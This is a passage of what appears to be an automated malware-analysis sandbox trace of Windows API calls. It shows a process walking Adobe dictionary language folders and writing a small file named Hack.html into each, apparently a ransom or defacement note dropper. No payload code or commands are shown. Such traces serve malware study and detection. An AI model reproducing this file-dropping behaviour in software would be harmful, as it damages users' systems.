lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt", lpFilePart=0x0) returned 0x69 [0078.033] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\", lpFilePart=0x0) returned 0x6a [0078.033] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a768 [0078.033] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0078.033] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0078.033] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.034] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0078.034] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0078.034] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e688, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\Hack.html", lpFilePart=0x0) returned 0x73 [0078.034] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb7c) returned 1 [0078.034] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\adobe custom dictionary\\brt\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0078.034] GetFileType (hFile=0x174) returned 0x1 [0078.034] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb78) returned 1 [0078.034] GetFileType (hFile=0x174) returned 0x1 [0078.035] WriteFile (in: hFile=0x174, lpBuffer=0x27ff628*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebf8, lpOverlapped=0x0 | out: lpBuffer=0x27ff628*, lpNumberOfBytesWritten=0x39ebf8*=0xba, lpOverlapped=0x0) returned 1 [0078.036] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0078.036] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz", lpFilePart=0x0) returned 0x69 [0078.036] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\", lpFilePart=0x0) returned 0x6a [0078.036] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a768 [0078.037] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0078.037] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0078.037] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.037] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0078.037] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0078.037] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0078.037] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz", lpFilePart=0x0) returned 0x69 [0078.037] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\", lpFilePart=0x0) returned 0x6a [0078.037] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a768 [0078.037] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0078.038] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0078.038] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.038] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0078.038] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0078.038] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e688, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\Hack.html", lpFilePart=0x0) returned 0x73 [0078.038] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb7c) returned 1 [0078.038] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\adobe custom dictionary\\brz\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0078.038] GetFileType (hFile=0x174) returned 0x1 [0078.038] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb78) returned 1 [0078.038] GetFileType (hFile=0x174) returned 0x1 [0078.039] WriteFile (in: hFile=0x174, lpBuffer=0x2803e84*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebf8, lpOverlapped=0x0 | out: lpBuffer=0x2803e84*, lpNumberOfBytesWritten=0x39ebf8*=0xba, lpOverlapped=0x0) returned 1 [0078.040] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0078.040] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan", lpFilePart=0x0) returned 0x69 [0078.040] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\", lpFilePart=0x0) returned 0x6a [0078.040] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a768 [0078.046] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0078.046] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0078.046] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.046] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0078.046] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0078.046] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0078.046] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan", lpFilePart=0x0) returned 0x69 [0078.046] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\", lpFilePart=0x0) returned 0x6a [0078.046] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a768 [0078.046] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0078.047] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0078.047] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.047] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0078.047] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0078.047] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e688, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\Hack.html", lpFilePart=0x0) returned 0x73 [0078.047] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb7c) returned 1 [0078.047] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\adobe custom dictionary\\dan\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0078.047] GetFileType (hFile=0x174) returned 0x1 [0078.047] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb78) returned 1 [0078.047] GetFileType (hFile=0x174) returned 0x1 [0078.048] WriteFile (in: hFile=0x174, lpBuffer=0x28086e0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebf8, lpOverlapped=0x0 | out: lpBuffer=0x28086e0*, lpNumberOfBytesWritten=0x39ebf8*=0xba, lpOverlapped=0x0) returned 1 [0078.051] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0078.051] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut", lpFilePart=0x0) returned 0x69 [0078.051] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\", lpFilePart=0x0) returned 0x6a [0078.051] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a768 [0078.051] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0078.051] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0078.051] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.051] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0078.051] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0078.051] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0078.051] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut", lpFilePart=0x0) returned 0x69 [0078.052] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\", lpFilePart=0x0) returned 0x6a [0078.052] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a768 [0078.052] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0078.052] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0078.052] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.052] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0078.052] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0078.052] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e688, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\Hack.html", lpFilePart=0x0) returned 0x73 [0078.052] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb7c) returned 1 [0078.052] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\adobe custom dictionary\\dut\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0078.053] GetFileType (hFile=0x174) returned 0x1 [0078.053] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb78) returned 1 [0078.053] GetFileType (hFile=0x174) returned 0x1 [0078.053] WriteFile (in: hFile=0x174, lpBuffer=0x280cf3c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebf8, lpOverlapped=0x0 | out: lpBuffer=0x280cf3c*, lpNumberOfBytesWritten=0x39ebf8*=0xba, lpOverlapped=0x0) returned 1 [0078.054] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0078.054] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng", lpFilePart=0x0) returned 0x69 [0078.054] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\", lpFilePart=0x0) returned 0x6a [0078.055] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a768 [0078.055] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0078.055] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0078.055] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.055] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0078.055] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0078.055] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0078.055] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng", lpFilePart=0x0) returned 0x69 [0078.055] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\", lpFilePart=0x0) returned 0x6a [0078.055] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a768 [0078.056] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0078.056] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0078.056] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.056] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0078.056] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0078.056] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e688, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\Hack.html", lpFilePart=0x0) returned 0x73 [0078.056] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb7c) returned 1 [0078.056] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\adobe custom dictionary\\eng\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0078.057] GetFileType (hFile=0x174) returned 0x1 [0078.057] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb78) returned 1 [0078.057] GetFileType (hFile=0x174) returned 0x1 [0078.057] WriteFile (in: hFile=0x174, lpBuffer=0x2811798*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebf8, lpOverlapped=0x0 | out: lpBuffer=0x2811798*, lpNumberOfBytesWritten=0x39ebf8*=0xba, lpOverlapped=0x0) returned 1 [0078.058] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0078.058] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn", lpFilePart=0x0) returned 0x69 [0078.058] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\", lpFilePart=0x0) returned 0x6a [0078.058] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a768 [0078.059] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0078.059] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0078.059] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0078.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0078.059] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0078.059] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn", lpFilePart=0x0) returned 0x69 [0078.059] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\", lpFilePart=0x0) returned 0x6a [0078.059] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a768 [0078.059] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0078.059] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0078.060] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.060] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0078.060] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0078.060] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e688, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\Hack.html", lpFilePart=0x0) returned 0x73 [0078.060] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb7c) returned 1 [0078.060] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom 